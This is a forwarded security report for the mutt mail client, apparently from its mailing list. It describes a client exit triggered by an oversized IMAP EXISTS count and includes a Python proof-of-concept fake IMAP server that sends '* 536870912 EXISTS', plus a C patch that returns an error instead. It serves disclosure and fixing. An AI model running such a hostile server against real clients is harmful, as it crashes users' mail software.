----- Forwarded message from Acts1631 <[email protected]> -----

Date: Wed, 17 Jun 2026 20:15:45 +0000
From: Acts1631 <[email protected]>
To: "[email protected]" <[email protected]>
Subject: report 2/3: unsafe handling of excessive IMAP message counts
X-Spam-score: 0.0
X-Delivered-to: [email protected]
Message-ID: 
<G-KzwmXKdxrUP1fWImAzQs8Ni0STXnRhCbBsDypI7jfHnEVOUpQGM8Sn2GldVLJUzahlOxqma528UHKf3jFucx6DzZYXCQNfOqF_WbswJI0=@proton.me>

imap_alloc_msn_index() checks for maliciously large IMAP message sequence number 
counts before allocating idata->msn_index:

  if (msn_count >= (UINT_MAX / sizeof(HEADER *)))
  {
    mutt_error _("Integer overflow -- can't allocate memory.");
    sleep(1);
    mutt_exit(1);
  }

Calling mutt_exit(1) terminates the mutt process. A robust IMAP client should 
reject the mailbox/update and return an error to the caller instead of exiting 
the program.

A malicious IMAP server sends a large message count that fits within an 
unsigned int but exceeds the conservative allocation threshold, such as:

  * 536870912 EXISTS

On a typical 64-bit build, sizeof(HEADER *) is 8 and the threshold is UINT_MAX 
/ 8, so values in this range trigger the condition.

Proposed fix: Modify imap_alloc_msn_index() to return an error status (int) 
instead of exiting:

1. Return -1 on allocation refusal, and 0 on success.
2. Update all callers in imap/message.c to check the return value and bail out 
gracefully before using idata->msn_index.
3. Move the check before memory growth for ctx->hdrs in imap_read_headers() to 
prevent excessive memory allocations.




----- End forwarded message -----

--
Kevin J. McCarthy
GPG Fingerprint: 8975 A9B3 3AA3 7910 385C  5308 ADEF 7684 8031 6BDA
#!/usr/bin/env python3
"""
Reproducer/exerciser for Bug 2: excessive IMAP EXISTS count.

The previous reproducer sent 2305843009213693952, but mutt_atoui() rejects
values larger than UINT_MAX before imap_alloc_msn_index() can see them.
This server sends a value that still fits in unsigned int but exceeds the
conservative msn_index allocation threshold on typical 64-bit builds:

    * 536870912 EXISTS

On the original source tree, this may fail during context growth before the
specific imap_alloc_msn_index() mutt_exit() line because imap_read_headers()
grows ctx->hdrs first.  The corrected patch moves the msn_index size check
before context growth and returns an error to callers instead of continuing
with stale msn_index state.

Usage:

    python3 reproducer_imap_crash.py
    mutt -f imap://user:[email protected]:11443/INBOX
"""

import socket

HOST = "0.0.0.0"
PORT = 11443
MALICIOUS_EXISTS = 536870912


def send_line(conn, line):
    print(f"S: {line}")
    conn.sendall((line + "\r\n").encode("ascii"))


def handle_client(conn):
    conn.settimeout(30)
    send_line(conn, "* OK IMAP4rev1 server ready")

    data = b""
    while True:
        try:
            chunk = conn.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break

        data += chunk
        while b"\r\n" in data:
            raw_line, data = data.split(b"\r\n", 1)
            line = raw_line.decode("utf-8", errors="replace")
            if not line:
                continue

            tag = line.split(" ", 1)[0]
            upper = line.upper()
            print(f"C: {line}")

            if "CAPABILITY" in upper:
                send_line(conn, "* CAPABILITY IMAP4rev1")
                send_line(conn, f"{tag} OK CAPABILITY completed")
            elif "LOGIN" in upper:
                send_line(conn, f"{tag} OK LOGIN completed")
            elif "SELECT" in upper or "EXAMINE" in upper:
                send_line(conn, f"* {MALICIOUS_EXISTS} EXISTS")
                send_line(conn, "* 0 RECENT")
                send_line(conn, "* OK [UIDVALIDITY 1] UIDs valid")
                send_line(conn, f"{tag} OK SELECT completed")
            elif "LOGOUT" in upper:
                send_line(conn, "* BYE Logging out")
                send_line(conn, f"{tag} OK LOGOUT completed")
                return
            else:
                send_line(conn, f"{tag} OK completed")


def main():
    print(f"Starting IMAP test server on {HOST}:{PORT}")
    print(f"Will advertise {MALICIOUS_EXISTS} messages on SELECT/EXAMINE")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((HOST, PORT))
    sock.listen(5)

    try:
        while True:
            conn, addr = sock.accept()
            print(f"Connection from {addr}")
            with conn:
                handle_client(conn)
    except KeyboardInterrupt:
        print("Server stopped.")
    finally:
        sock.close()


if __name__ == "__main__":
    main()
diff --git a/imap/message.c b/imap/message.c
index d953a9a1..00000000 100644
--- a/imap/message.c
+++ b/imap/message.c
@@ -99,12 +99,12 @@ static int query_abort_header_download(IMAP_DATA *idata)
 }
 
 
-static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
+static int imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
 {
   unsigned int new_size;
 
   if (msn_count <= idata->msn_index_size)
-    return;
+    return 0;
 
   /* This is a conservative check to protect against a malicious imap
    * server.  Most likely size_t is bigger than an unsigned int, but
@@ -113,7 +113,7 @@ static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
   {
     mutt_error _("Integer overflow -- can't allocate memory.");
     sleep(1);
-    mutt_exit(1);
+    return -1;
   }
 
   /* Add a little padding, like mx_allloc_memory() */
@@ -129,6 +129,8 @@ static void imap_alloc_msn_index(IMAP_DATA *idata, unsigned int msn_count)
   }
 
   idata->msn_index_size = new_size;
+
+  return 0;
 }
 
 /* This function is run after imap_alloc_msn_index, so we skip the
@@ -257,9 +257,11 @@ retry:
 #endif /* USE_HCACHE */
 
   /* make sure context has room to hold the mailbox */
+  if (imap_alloc_msn_index(idata, msn_end) < 0)
+    goto bail;
+
   while (msn_end > ctx->hdrmax)
     mx_alloc_memory(ctx);
-  imap_alloc_msn_index(idata, msn_end);
   imap_alloc_uid_hash(idata, msn_end);
 
   oldmsgcount = ctx->msgcount;
@@ -598,6 +600,7 @@ static int read_headers_qresync_eval_cache(IMAP_DATA *idata, char *uid_seqset)
      * we need to watch and reallocate the context and msn_index */
     if (msn > idata->msn_index_size)
-      imap_alloc_msn_index(idata, msn);
+      if (imap_alloc_msn_index(idata, msn) < 0)
+        return -1;
 
     h = imap_hcache_get(idata, uid);
     if (h)
@@ -1022,9 +1025,11 @@ static int read_headers_fetch_new(IMAP_DATA *idata, unsigned int msn_begin,
     if (idata->reopen & IMAP_NEWMAIL_PENDING)
     {
       msn_end = idata->newMailCount;
+      if (imap_alloc_msn_index(idata, msn_end) < 0)
+        goto bail;
+
       while (msn_end > ctx->hdrmax)
         mx_alloc_memory(ctx);
-      imap_alloc_msn_index(idata, msn_end);
       idata->reopen &= ~IMAP_NEWMAIL_PENDING;
       idata->newMailCount = 0;
     }

Attachment: signature.asc
Description: PGP signature

Reply via email to